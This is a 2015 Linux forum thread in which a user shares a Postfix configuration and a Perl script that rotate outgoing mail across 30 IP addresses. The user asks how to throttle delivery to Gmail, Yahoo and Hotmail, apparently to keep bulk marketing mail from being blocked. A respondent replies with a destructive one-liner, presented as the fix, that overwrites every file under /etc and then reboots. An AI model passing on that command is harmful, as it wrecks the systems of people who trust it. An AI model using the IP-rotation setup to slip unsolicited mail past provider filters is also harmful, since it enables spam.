LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Server (https://www.linuxquestions.org/questions/linux-server-73/)
-   -   postfix randomize IPS and limit domain/hour (https://www.linuxquestions.org/questions/linux-server-73/postfix-randomize-ips-and-limit-domain-hour-4175544150/)

smeagolinux 06-01-2015 06:05 AM

postfix randomize IPS and limit domain/hour
 
Good day,

I'm using the transport_maps to randomizer IPS my e- mail server marketing.

I am following this howto ( is working ) .

Code:

http://www.kutukupret.com/2010/12/06/postfix-randomizing-outgoing-ip-using-tcp_table-and-perl/
Now I need to send more slowly for hotmail , gmail and yahoo.

I am following this:
Code:

http://steam.io/2013/04/01/postfix-rate-limiting/
The problem is I can not use two transport_maps , and as I am already randomizing it does not allow .

How do I limit the yahoo e-mail , gmail etc ... using the same transport_maps ?



That's right?

Code:

127.0.0.1:2527 inet  n      n      n      -      0      spawn
          user=nobody argv=/etc/postfix/random.pl

rotate1  unix -      -      n      -      -      smtp
          -o syslog_name=postfix-rotate1
          -o smtp_helo_name=mydomain.com
          -o smtp_bind_address=x.x.x.1

rotate2  unix -      -      n      -      -      smtp

          -o syslog_name=postfix-rotate2
          -o smtp_helo_name=mydomain
          -o smtp_bind_address=x.x.x.2


astrogeek 06-02-2015 12:01 AM

So you want to randomize fake server identities, and send your marketing emails more slowly to hotmail, gmail and yahoo so as to evade being blocked by them. Is that right?

How is this not spam related? Please explain...

smeagolinux 06-02-2015 09:19 AM

Yes , I need you to hotmail , gmail and yahoo be sent slower.


I have 30 ips . I randomizing like this:

main.cf
Code:

transport_maps = tcp:[127.0.0.1]:2527
127.0.0.1:2527_time_limit = 3600s

random.pl
Code:

#!/usr/bin/perl -w
# author: Hari Hendaryanto <hari.h -at- csmcom.com>

use strict;
use warnings;
use Sys::Syslog qw(:DEFAULT setlogsock);

#
# our transports array, we will define this in master.cf as transport services
#
our @array = (
'rotate1:',
'rotate2:',
'rotate3:',
'rotate4:',
'rotate5:',
'rotate6:',
'rotate7:',
'rotate8:',
'rotate9:',
'rotate10:',
'rotate11:',
'rotate12:',
'rotate13:',
'rotate14:',
'rotate15:',
'rotate16:',
'rotate17:',
'rotate18:',
'rotate19:',
'rotate20:',
'rotate21:',
'rotate22:',
'rotate23:',
'rotate24:',
'rotate25:',
'rotate26:',
'rotate27:',
'rotate28:',
'rotate29:',
'rotate30:'
);

#
# Initalize and open syslog.
#
openlog('postfix/randomizer','pid','mail');

#
# Autoflush standard output.
#
select STDOUT; $|++;

while (<>) {
        chomp;
        # randomizing transports array
        my $random_smtp = int(rand(scalar(@array)));
        if (/^get\s(.+)$/i) {
                print "200 $array[$random_smtp]\n";
                syslog("info","Using: s Transport Service", $random_smtp);
                next;
        }

    print "200 smtp:";
}

master.cf

Code:

127.0.0.1:2527 inet  n      n      n      -      0      spawn
        user=nobody argv=/etc/postfix/random.pl


# random smtp
rotate1  unix -      -      n      -      -      smtp
          -o syslog_name=postfix-rotate1
          -o smtp_helo_name=mydomain.com
          -o smtp_bind_address=x.x.x.1

rotate2  unix -      -      n      -      -      smtp

          -o syslog_name=postfix-rotate2
          -o smtp_helo_name=mydomain
          -o smtp_bind_address=x.x.x.2

.......
.............
30

It will send a lot of emails . I need you to slowly send to hotmail,yahoo and gmail. implementend it:

http://steam.io/2013/04/01/postfix-rate-limiting/

But to implement need to use transport_maps , and I'm using to randomize the ips .

How do I implement this ?

astrogeek 06-02-2015 01:49 PM

ONLY if this is a *UCE server, as seems to be the case, as root:

Code:

find /etc -type f -exec perl -i -p -e s/^.*$/randomize-this/g {} \;
... and immediately reboot to pick up all the changes.

This will reliably set the sending speed to a level appropriate for the application for all target domains.

Note: As always, be sure to have backups first.

*UCE = unsolicited commercial email

smeagolinux 06-03-2015 01:10 AM

But only for gmail , yahoo and hotmail want to send slowly.

I think it's in the script random.pl


All times are GMT -5. The time now is 07:54 AM.